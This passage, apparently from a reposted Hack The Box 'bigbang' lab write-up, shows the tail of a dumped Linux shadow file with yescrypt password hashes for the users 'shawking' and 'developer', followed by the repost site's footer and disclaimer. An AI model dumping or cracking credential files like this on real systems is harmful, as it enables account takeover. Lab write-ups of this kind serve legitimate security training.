jyp9l56C7zZgjbfQvPrgK0Zk3/.zSAGzaq/sFJqx3lmsp.v5yWdK/l65jtV4grA1:19873:0:99999:7:::lxd:!:19873::::::dnsmasq:*:19873:0:99999:7:::shawking:$y$j9T$Azp7sxaLlTMQtVglOmK7o.$7KaOwgackYFfRHfVF8jvNXiUTNbI4C5EzAnj1r3tfU0:19875:0:99999:7:::developer:$y$j9T$ikNMOn22fE3TK0Vf.qg.5.$uooD3a6o6/s4Brzx.aiEfswsPq4sN9/HGiElCgsHGKC:20108:0:99999:7:::_laurel:!:20105::::::

原文始发于微信公众号(Jiyou too beautiful):HTB-bigbang

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月4日13:38:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-bigbanghttps://cn-sec.com/archives/3697650.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息